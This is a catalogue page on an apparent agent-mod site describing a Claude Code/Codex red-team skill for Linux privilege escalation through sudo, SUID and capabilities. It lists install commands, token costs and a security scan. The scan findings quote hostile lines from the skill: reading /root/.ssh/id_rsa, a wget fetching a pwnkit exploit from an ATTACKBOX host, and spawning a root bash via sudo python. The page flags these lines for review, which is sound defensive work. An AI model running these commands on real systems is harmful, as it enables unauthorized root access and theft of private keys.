linux-sudo-suid-capabilities

linux-sudo-suid-capabilities is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 29 tokens per session (8,426 once invoked), scanned B, original, GPL-3.0.

A security guide for finding privilege-escalation paths in Linux through sudo settings, SUID or SGID programs, and Linux capabilities. Privilege escalation means gaining more system access than intended.

In plain words
What is it for?
Use it to assess sudo rules, special-permission executables, and Linux capabilities during authorized security testing.
Why use it?
It helps security testers identify dangerous system configurations that could let a lower-privileged user become more privileged.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/blacklanternsecurity/red-run/linux-sudo-suid-capabilities
Any agent
npx skills add blacklanternsecurity/red-run --skill linux-sudo-suid-capabilities
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for linux-sudo-suid-capabilities

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/linux-sudo-suid-capabilities.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/linux-sudo-suid-capabilities)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/linux-sudo-suid-capabilities"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/linux-sudo-suid-capabilities.svg" alt="Measured on agentmods" height="20"></a>
Per session 29 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 8,426 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 4 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00029 $0.08426
Opus 5 $0.00015 $0.04213
Sonnet 5 $0.00006 $0.01685
Haiku 4.5 $0.00003 $0.00843

Measured 4d ago against content hash 7c3750f5f0f5, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

linux-sudo-suid-capabilities scanned grade B with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

python3 -c 'print(open("/root/.ssh/id_rsa").read())'

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

sudo python3 -c 'import os; os.system("/bin/bash")'
skills/privesc/linux-sudo-suid-capabilities/SKILL.md · 967 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 967 lines · 29 tokens per session scan B 7c3750f5f0f5

Subscribe to this mod's changes

linux-sudo-suid-capabilities is a skill published in the GitHub repository blacklanternsecurity/red-run (266 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 29 tokens to every session and 8,426 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 4 findings (asks for root, reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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